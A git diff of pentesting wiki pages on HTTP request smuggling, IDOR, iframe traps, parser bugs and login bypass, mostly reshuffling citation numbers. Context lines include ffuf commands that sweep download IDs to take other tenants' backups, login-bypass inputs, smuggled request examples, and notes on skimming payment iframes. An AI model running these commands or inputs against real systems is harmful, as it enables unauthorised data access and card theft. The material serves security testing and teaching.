+- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.[[3]](#references)
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
@@ -604,7 +661,7 @@ By manipulating the `User-Agent` through smuggling, the payload bypasses normal
The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesn’t** respond with **headers**, just the body.
-In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.[[19]](#references)
+In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.[[10]](#references)
### Exploiting On-site Redirects with HTTP Request Smuggling
@@ -695,9 +752,9 @@ Subsequently, any request for `/static/include.js` will serve the cached content
> **What is the difference between web cache poisoning and web cache deception?**
>
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
-> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
+> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.[[3]](#references)
-The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:[[3]](#references)
+The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
```markdown
`POST / HTTP/1.1`\
@@ -714,7 +771,7 @@ If this smuggled request poisons a cache entry intended for static content (e.g.
### Abusing TRACE via HTTP Request Smuggling
-[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response.[[8]](#references) For example:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example:[[8]](#references)
```
TRACE / HTTP/1.1
@@ -741,9 +798,9 @@ This response will be sent to the next request over the connection, so this coul
### Abusing TRACE via HTTP Response Splitting
-Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
+Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.[[8]](#references)
-Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).[[8]](#references)
+Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
Example:
@@ -798,6 +855,12 @@ Have you found some HTTP Request Smuggling vulnerability and you don't know how
../http-response-smuggling-desync.md
{{#endref}}
+#### Dangling-byte Response Queue Poisoning
+
+Classic response-queue poisoning often fails because the back-end emits **two responses immediately**, the front-end over-reads into the second one, and resets the connection (the **stacked-response** problem). A strong workaround is to smuggle an **incomplete inner request** whose declared body is missing **exactly one byte**. When the victim later sends `GET /victim...`, the first byte (`G`) completes the smuggled body's missing byte and the remaining bytes (`ET /victim...`) are parsed separately, shifting the response queue without the original race. The next attacker request can then receive the victim response. This works best on method-agnostic back-ends and is one of the most reliable modern RQP upgrades.[[22]](#references)
+
+For full response-side variants, content-confusion chains, and cache-poisoning escalations, review the dedicated response desync page above.[[22]](#references)
+
### Other HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Client Side)
@@ -807,7 +870,7 @@ Have you found some HTTP Request Smuggling vulnerability and you don't know how
browser-http-request-smuggling.md
{{#endref}}
-- Request Smuggling in HTTP/2 Downgrades
+- Request Smuggling in HTTP/2 Downgrades[[7]](#references)
{{#ref}}
@@ -907,7 +970,7 @@ def handleResponse(req, interesting):
## Reverse-proxy parsing footguns (Pingora 2026)
-Several 2026 Pingora bugs are useful because they show **desync primitives beyond classic CL.TE / TE.CL**. The reusable lesson is: whenever a proxy **stops parsing too early**, **normalizes `Transfer-Encoding` differently from the backend**, or **falls back to read-until-close for request bodies**, you may get FE↔BE desync even without a traditional CL/TE ambiguity.
+Several 2026 Pingora bugs are useful because they show **desync primitives beyond classic CL.TE / TE.CL**. The reusable lesson is: whenever a proxy **stops parsing too early**, **normalizes `Transfer-Encoding` differently from the backend**, or **falls back to read-until-close for request bodies**, you may get FE↔BE desync even without a traditional CL/TE ambiguity.[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references)
### Premature `Upgrade` passthrough
@@ -929,7 +992,7 @@ The front-end parses only the first request, then forwards the rest as raw bytes
- Reach internal-only endpoints that trust the reverse proxy IP.
- Trigger cross-user response queue poisoning on reused backend connections.
-When auditing proxies, always test whether **any** `Upgrade` value triggers passthrough, and verify whether the switch happens **before** or **after** the backend replies with `101`.[[16]](#references)
+When auditing proxies, always test whether **any** `Upgrade` value triggers passthrough, and verify whether the switch happens **before** or **after** the backend replies with `101`.
### `Transfer-Encoding` normalization bugs + HTTP/1.0 close-delimited fallback
@@ -980,7 +1043,7 @@ The important audit checks are:
- Can you force **HTTP/1.0** to trigger a read-until-close body mode?
- Does the proxy ever allow **close-delimited request bodies**? That is a high-value desync smell by itself.
-This class often looks like CL.TE from the outside, but the real primitive is: **TE present --> CL stripped --> no valid framing recognized --> request body forwarded until close**.[[17]](#references)
+This class often looks like CL.TE from the outside, but the real primitive is: **TE present --> CL stripped --> no valid framing recognized --> request body forwarded until close**.
### Related cache poisoning primitive: path-only cache keys
@@ -996,7 +1059,7 @@ GET /api/data HTTP/1.1
Host: victim.com
```
-If both requests map to the same cache key (`/api/data`), one tenant can poison content for another. If the origin reflects the `Host` header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become **cross-user stored cache poisoning**.[[18]](#references)
+If both requests map to the same cache key (`/api/data`), one tenant can poison content for another. If the origin reflects the `Host` header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become **cross-user stored cache poisoning**.
When reviewing caches, confirm that the key includes at least:
@@ -1017,27 +1080,29 @@ When reviewing caches, confirm that the key includes at least:
## References
-- [1] [PortSwigger Web Security Academy - HTTP request smuggling](https://portswigger.net/web-security/request-smuggling)
-- [2] [PortSwigger Web Security Academy - Finding HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding)
-- [3] [PortSwigger Web Security Academy - Exploiting HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting)
+- [1] [PortSwigger - HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
+- [2] [PortSwigger - Finding HTTP Request Smuggling Vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding)
+- [3] [PortSwigger - Exploiting HTTP Request Smuggling Vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting)
- [4] [HTTP Request Smuggling in Plain English](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
-- [5] [HTTP-Desync-Attack (haroonawanofficial)](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
-- [6] [HTTP Request Smuggling CL.TE (memN0ps)](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
-- [7] [HTTP request smuggling via higher HTTP versions (PHDays 10)](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
-- [8] [PortSwigger Research - TRACE desync attack](https://portswigger.net/research/trace-desync-attack)
+- [5] [GitHub - haroonawanofficial/HTTP-Desync-Attack](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
+- [6] [HTTP Request Smuggling CL-TE](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
+- [7] [HTTP Request Smuggling via Higher HTTP Versions (Standoff 365)](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
+- [8] [PortSwigger Research - TRACE Desync Attack](https://portswigger.net/research/trace-desync-attack)
- [9] [Bugcrowd - Unveiling TE.0 HTTP Request Smuggling: Discovering a Critical Vulnerability in Thousands of Google Cloud Websites](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- [10] [Beware the false false-positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
-- [11] [HTTP/1.1 Must Die](https://http1mustdie.com/)
-- [12] [PortSwigger Research - Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks)
-- [13] [PortSwigger Web Security Academy - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
-- [14] [PortSwigger Research - HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die)
-- [15] [xclow3n - HTTP Request Smuggling write-up](https://xclow3n.github.io/post/6/)
-- [16] [Cloudflare Pingora - HTTP Request Smuggling via Premature Upgrade (GHSA-xq2h-p299-vjwv)](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv)
-- [17] [Cloudflare Pingora - HTTP Request Smuggling via HTTP/1.0 and Transfer-Encoding Misparsing (GHSA-hj7x-879w-vrp7)](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7)
-- [18] [Cloudflare Pingora - Cache poisoning via insecure-by-default cache key (GHSA-f93w-pcj3-rggc)](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc)
-- [19] [Twisty Python (Werkzeug HTTP request smuggling write-up)](https://mizu.re/post/twisty-python)
-- [20] [HTTP Request Smuggling + IDOR (hipotermia)](https://hipotermia.pw/bb/http-desync-idor)
-- [21] [Account takeover via HTTP Request Smuggling (hipotermia)](https://hipotermia.pw/bb/http-desync-account-takeover)
+- [10] [Twisty Python (mizu.re)](https://mizu.re/post/twisty-python)
+- [11] [PortSwigger Research - Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- [12] [HTTP/1 Must Die](https://http1mustdie.com/)
+- [13] [PortSwigger Research - Browser‑Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks)
+- [14] [PortSwigger Academy - Client‑Side Desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [15] [PortSwigger Research - HTTP/1 Must Die: The Desync Endgame](https://portswigger.net/research/http1-must-die)
+- [16] [xclow3n - Breaking Pingora: HTTP Request Smuggling & Cache Poisoning](https://xclow3n.github.io/post/6/)
+- [17] [Cloudflare Pingora Security Advisory GHSA-xq2h-p299-vjwv](https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv)
+- [18] [Cloudflare Pingora Security Advisory GHSA-hj7x-879w-vrp7](https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7)
+- [19] [Cloudflare Pingora Security Advisory GHSA-f93w-pcj3-rggc](https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc)
+- [20] [hipotermia.pw - HTTP Desync IDOR (Turbo Intruder CL.TE script)](https://hipotermia.pw/bb/http-desync-idor)
+- [21] [hipotermia.pw - HTTP Desync Account Takeover (Turbo Intruder TE.CL script)](https://hipotermia.pw/bb/http-desync-account-takeover)
+- [22] [PortSwigger Research - Can AI do novel security research? Meet the HTTP Terminator](https://portswigger.net/research/http-terminator)
+- [23] [PortSwigger Research - CRLF-Powered Desync Attacks: Beheading HTTP Streams](https://portswigger.net/research/crlf-powered-desync-attacks)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
index 3ae7b3113eb..fdce3ae00c2 100644
--- a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
+++ b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-Browser-powered desync (aka client-side request smuggling) abuses the victim’s browser to enqueue a mis-framed request onto a shared connection so that subsequent requests are parsed out-of-sync by a downstream component. Unlike classic FE↔BE smuggling, payloads are constrained by what a browser can legally send cross-origin.[[1]](#references)
+Browser-powered desync (aka client-side request smuggling) abuses the victim’s browser to enqueue a mis-framed request onto a shared connection so that subsequent requests are parsed out-of-sync by a downstream component. Unlike classic FE↔BE smuggling, payloads are constrained by what a browser can legally send cross-origin.[[1]](#references)[[2]](#references)
Key constraints and tips
- Only use headers and syntax that a browser can emit via navigation, fetch, or form submission. Header obfuscations (LWS tricks, duplicate TE, invalid CL) generally won’t send.
@@ -12,13 +12,13 @@ Key constraints and tips
- Validate genuine server-side desync vs. mere pipelining artifacts by re-testing without reuse, or by using the HTTP/2 nested-response check.[[3]](#references)
For end-to-end techniques and PoCs see:
-- PortSwigger Research – Browser‑Powered Desync Attacks: https://portswigger.net/research/browser-powered-desync-attacks
-- PortSwigger Academy – client‑side desync: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
+- PortSwigger Research – Browser‑Powered Desync Attacks: https://portswigger.net/research/browser-powered-desync-attacks[[1]](#references)
+- PortSwigger Academy – client‑side desync: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync[[2]](#references)
## References
-- [1] [PortSwigger Research - Browser-Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks)
-- [2] [PortSwigger Web Security Academy - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
-- [3] [Beware the false false-positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- [1] [PortSwigger Research - Browser‑Powered Desync Attacks](https://portswigger.net/research/browser-powered-desync-attacks)
+- [2] [PortSwigger Academy - Client‑Side Desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [3] [PortSwigger Research - Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md
index 28568d28706..f26037bb2ef 100644
--- a/src/pentesting-web/http-response-smuggling-desync.md
+++ b/src/pentesting-web/http-response-smuggling-desync.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-**The technique of this post was taken from the video:** [**https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s**](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s)[[3]](#references)
+**The technique of this post was taken from the video:** [**https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s**](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s)[[3]](#references)[[4]](#references)
## HTTP Request Queue Desynchronisation
@@ -179,14 +179,11 @@ From an offensive point of view, this means it is worth testing **legacy methods
- **Burp HTTP Request Smuggler** remains the most practical day-to-day option to probe these bugs, especially when you need to chain a desync into response stealing or cache poisoning.
- If you are reviewing implementations from source code, **gray-box differential fuzzing** is now practical enough to find discrepancies in **HTTP requests, HTTP responses, and CGI responses**, not only in front-end request parsing.[[2]](#references)
-
-
## References
- [1] [PortSwigger - Making desync attacks easy with TRACE](https://portswigger.net/research/trace-desync-attack)
- [2] [USENIX Security 2025 - The Silent Danger in HTTP: Identifying HTTP Desync Vulnerabilities with Gray-box Testing](https://www.usenix.org/system/files/usenixsecurity25-mu.pdf)
- [3] [DEF CON 29 - Martin Doyhenard - Response Smuggling: Pwning HTTP/1.1 Connections](https://www.youtube.com/watch?v=suxDcYViwao&t=1343s)
-
-
+- [4] [youtube.com - Watch](https://www.youtube.com/watch?v=suxDcYViwao)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md
index cc2176433e6..d23912fd3a9 100644
--- a/src/pentesting-web/idor.md
+++ b/src/pentesting-web/idor.md
@@ -39,7 +39,7 @@ done
```
### Enumerating predictable download IDs (ffuf)
-Authenticated file-hosting panels often store per-user metadata in a single `files` table and expose a download endpoint such as `/download.php?id=`. If the handler only checks whether the ID exists (and not whether it belongs to the authenticated user), you can sweep the integer space with your valid session cookie and steal other tenants' backups/configs:
+Authenticated file-hosting panels often store per-user metadata in a single `files` table and expose a download endpoint such as `/download.php?id=`. If the handler only checks whether the ID exists (and not whether it belongs to the authenticated user), you can sweep the integer space with your valid session cookie and steal other tenants' backups/configs:[[5]](#references)
```bash
ffuf -u http://file.era.htb/download.php?id=FUZZ \
@@ -50,14 +50,14 @@ ffuf -u http://file.era.htb/download.php?id=FUZZ \
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
```
-* `-fr` removes 404-style templates so only true hits remain (e.g., IDs 54/150 leaking full site backups and signing material).[[5]](#references)
+* `-fr` removes 404-style templates so only true hits remain (e.g., IDs 54/150 leaking full site backups and signing material).
* The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs.
---
### Authenticated combinatorial enumeration (ffuf + jq)
-Some IDORs accept **multiple object IDs** (e.g., chat threads between two users).[[6]](#references) If the app only checks that you're logged in, you can fuzz both IDs while keeping your session cookie:
+Some IDORs accept **multiple object IDs** (e.g., chat threads between two users). If the app only checks that you're logged in, you can fuzz both IDs while keeping your session cookie:[[6]](#references)
```bash
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
@@ -76,7 +76,7 @@ jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .u
### Error-response oracle for user/file enumeration
-When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=&file=`), subtle differences in error messages often create an oracle:
+When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=&file=`), subtle differences in error messages often create an oracle:[[4]](#references)
- Non-existent username → "User not found"
- Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
@@ -91,7 +91,7 @@ ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-fr 'User not found'
```
-Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage.[[4]](#references)
+Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage.
---
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
@@ -111,7 +111,7 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-d '{"lead_id":64185741}'
```
-Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
+Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.[[1]](#references)
### Case Study – Wristband QR codes as weak bearer tokens (2025–2026)
@@ -146,7 +146,7 @@ for band_id in ["C-285-100", "T-544-492"]:
* Horizontal escalation – read/update/delete **other users’** data.
* Vertical escalation – low privileged user gains admin-only functionality.
* Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
-* Account takeover by stealing tokens or resetting passwords of other users.
+* Account takeover by stealing tokens or resetting passwords of other users.[[2]](#references)
---
## 4. Mitigations & Best Practices
@@ -155,7 +155,7 @@ for band_id in ["C-285-100", "T-544-492"]:
3. Perform authorization **server-side**, never rely on hidden form fields or UI controls.
4. Implement **RBAC / ABAC** checks in a central middleware.
5. Add **rate-limiting & logging** to detect enumeration of IDs.
-6. Security test every new endpoint (unit, integration, and DAST).
+6. Security test every new endpoint (unit, integration, and DAST).[[2]](#references)
---
## 5. Tooling
@@ -174,4 +174,5 @@ for band_id in ["C-285-100", "T-544-492"]:
- [5] [0xdf – HTB Era: predictable download IDs → backups and signing keys](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
- [6] [0xdf – HTB: Guardian](https://0xdf.gitlab.io/2026/02/28/htb-guardian.html)
- [7] [Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)](https://www.pentestpartners.com/security-blog/carlsberg-probably-not-the-best-cybersecurity-in-the-world/)
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md
index ccbe971027a..3544f6f8939 100644
--- a/src/pentesting-web/iframe-traps.md
+++ b/src/pentesting-web/iframe-traps.md
@@ -4,7 +4,7 @@
## Basic Information
-This technique abuses **same-origin XSS** to keep code execution alive while the victim keeps browsing the application. The classic write-ups were published by TrustedSec [here](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) and [here](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).[[3]](#references)[[4]](#references)
+This technique abuses **same-origin XSS** to keep code execution alive while the victim keeps browsing the application. The classic write-ups were published by TrustedSec [here](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) and [here](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).[[1]](#references)[[2]](#references)
The idea is to land the victim on a page vulnerable to XSS and then **trap the rest of their navigation inside a full-page iframe**. If the victim keeps clicking links, submitting forms, and moving through the application **inside the frame**, the original attacker-controlled page stays alive in the top window and can keep collecting data.
@@ -82,14 +82,14 @@ if (window.top === window.self) {
## Overlay & skimmer usage
-- Compromised checkout pages can **hide a legitimate hosted payment iframe and overlay it with a pixel-perfect fake collector** that forwards or replays data while the real payment flow still succeeds.[[2]](#references)
-- A more aggressive variant is to **rewrite the URL of the hosted-field iframe itself** so the browser loads an attacker-controlled frame that proxies the PSP flow and skims PAN/CVV inside the iframe context.
+- Compromised checkout pages can **hide a legitimate hosted payment iframe and overlay it with a pixel-perfect fake collector** that forwards or replays data while the real payment flow still succeeds.[[4]](#references)
+- A more aggressive variant is to **rewrite the URL of the hosted-field iframe itself** so the browser loads an attacker-controlled frame that proxies the PSP flow and skims PAN/CVV inside the iframe context.[[4]](#references)
- Trapping users in the top frame is also useful for collecting **autofill/password-manager** data before they notice the real browser URL never changed.
## Recent chaining ideas
-- **POST-only reflected XSS** can be upgraded into a usable trap by landing the victim on the poisoned response with CSRF or an auto-submitting form, and then immediately switching into iframe-trap mode so the payload survives after the first POST response.
-- **`credentialless` iframe chains** can turn some self-XSS/login-CSRF scenarios into practical account-takeover paths without destroying the victim's live session. The full details are better covered in [Iframes in XSS, CSP and SOP](xss-cross-site-scripting/iframes-in-xss-and-csp.md).[[1]](#references)
+- **POST-only reflected XSS** can be upgraded into a usable trap by landing the victim on the poisoned response with CSRF or an auto-submitting form, and then immediately switching into iframe-trap mode so the payload survives after the first POST response.[[3]](#references)
+- **`credentialless` iframe chains** can turn some self-XSS/login-CSRF scenarios into practical account-takeover paths without destroying the victim's live session.[[3]](#references) The full details are better covered in [Iframes in XSS, CSP and SOP](xss-cross-site-scripting/iframes-in-xss-and-csp.md).
## Quick OPSEC tips
@@ -109,8 +109,9 @@ xss-cross-site-scripting/iframes-in-xss-and-csp.md
## References
-- [1] [Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/)
-- [2] [New Stealth Magecart Attack Bypasses Payment Services Using Iframes](https://www.humansecurity.com/learn/blog/new-stealth-magecart-attack-bypasses-payment-services-using-iframes/)
-- [3] [Persisting XSS with IFrame Traps](https://trustedsec.com/blog/persisting-xss-with-iframe-traps)
-- [4] [JS-Tap: Weaponizing JavaScript for Red Teams](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)
+- [1] [Persisting XSS with iframe traps](https://trustedsec.com/blog/persisting-xss-with-iframe-traps)
+- [2] [JS-Tap: Weaponizing JavaScript for Red Teams](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams)
+- [3] [Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/)
+- [4] [New Stealth Magecart Attack Bypasses Payment Services Using Iframes](https://www.humansecurity.com/learn/blog/new-stealth-magecart-attack-bypasses-payment-services-using-iframes/)
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md
index 9fc33f76ac0..8f7edcddb03 100644
--- a/src/pentesting-web/json-xml-yaml-hacking.md
+++ b/src/pentesting-web/json-xml-yaml-hacking.md
@@ -4,7 +4,7 @@
## Go JSON Decoder
-The following issues were detected in the Go JSON although they could be present in other languages as well. These issues were published in [**this blog post**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).[[3]](#references)
+The following issues were detected in the Go JSON although they could be present in other languages as well. These issues were published in [**this blog post**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).[[1]](#references)
Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to **bypass authentication**, **escalate privileges**, or **exfiltrate sensitive data**.
@@ -136,7 +136,7 @@ Result:
### SnakeYAML Deserialization RCE (CVE-2022-1471)
-* Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.).[[1]](#references)
+* Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.).[[2]](#references)
* Root cause: `new Constructor()` deserializes **arbitrary Java classes**, allowing gadget chains that culminate in remote-code execution.
* One-liner PoC (will open the calculator on vulnerable host):
```yaml
@@ -148,9 +148,9 @@ Result:
### libyaml Double-Free (CVE-2024-35325)
-* Affects: `libyaml` ≤0.2.5 (C library leveraged by many language bindings).[[2]](#references)
+* Affects: `libyaml` ≤0.2.5 (C library leveraged by many language bindings).
* Issue: Calling `yaml_event_delete()` twice leads to a double-free that attackers can turn into DoS or, in some scenarios, heap exploitation.
-* Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively.
+* Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively.[[3]](#references)
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
@@ -180,8 +180,8 @@ mass-assignment-cwe-915.md
## References
-- [1] [Resolving CVE-2022-1471 With SnakeYAML 2.0](https://www.baeldung.com/spring-boot-snakeyaml-2-0-cve-2022-1471-issue)
-- [2] [CVE-2024-35325 (libyaml)](https://ubuntu.com/security/CVE-2024-35325)
-- [3] [Unexpected security footguns in Go's parsers](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/)
+- [1] [Trail of Bits – Unexpected security footguns in Go's parsers](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/)
+- [2] [Baeldung – Resolving CVE-2022-1471 With SnakeYAML 2.0](https://www.baeldung.com/spring-boot-snakeyaml-2-0-cve-2022-1471-issue)
+- [3] [Ubuntu Security Tracker – CVE-2024-35325 (libyaml)](https://ubuntu.com/security/CVE-2024-35325)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md
index 186d74ac21b..cf7551d98be 100644
--- a/src/pentesting-web/ldap-injection.md
+++ b/src/pentesting-web/ldap-injection.md
@@ -8,7 +8,6 @@
**If you want to know what is LDAP access the following page:**
-
{{#ref}}
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
@@ -216,7 +215,6 @@ intitle:"phpLDAPadmin" inurl:cmd.php
### More Payloads
-
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md
index d76a1b543e6..9c72ada7d7f 100644
--- a/src/pentesting-web/login-bypass/README.md
+++ b/src/pentesting-web/login-bypass/README.md
@@ -12,7 +12,7 @@ If you find a login page, here you can find some techniques to try to bypass it:
- Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **Change content type to json** and send json values (bool true included)
- If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json`
-- Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`[[2]](#references)
+- Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`[[1]](#references)
- Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true.
- If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login.
- Remember that to bypass this login you still need to **know and send a valid username**.
@@ -88,7 +88,7 @@ Pages usually redirects users after login, check if you can alter that redirect
### Client-side authentication & authorization bypass in SPAs
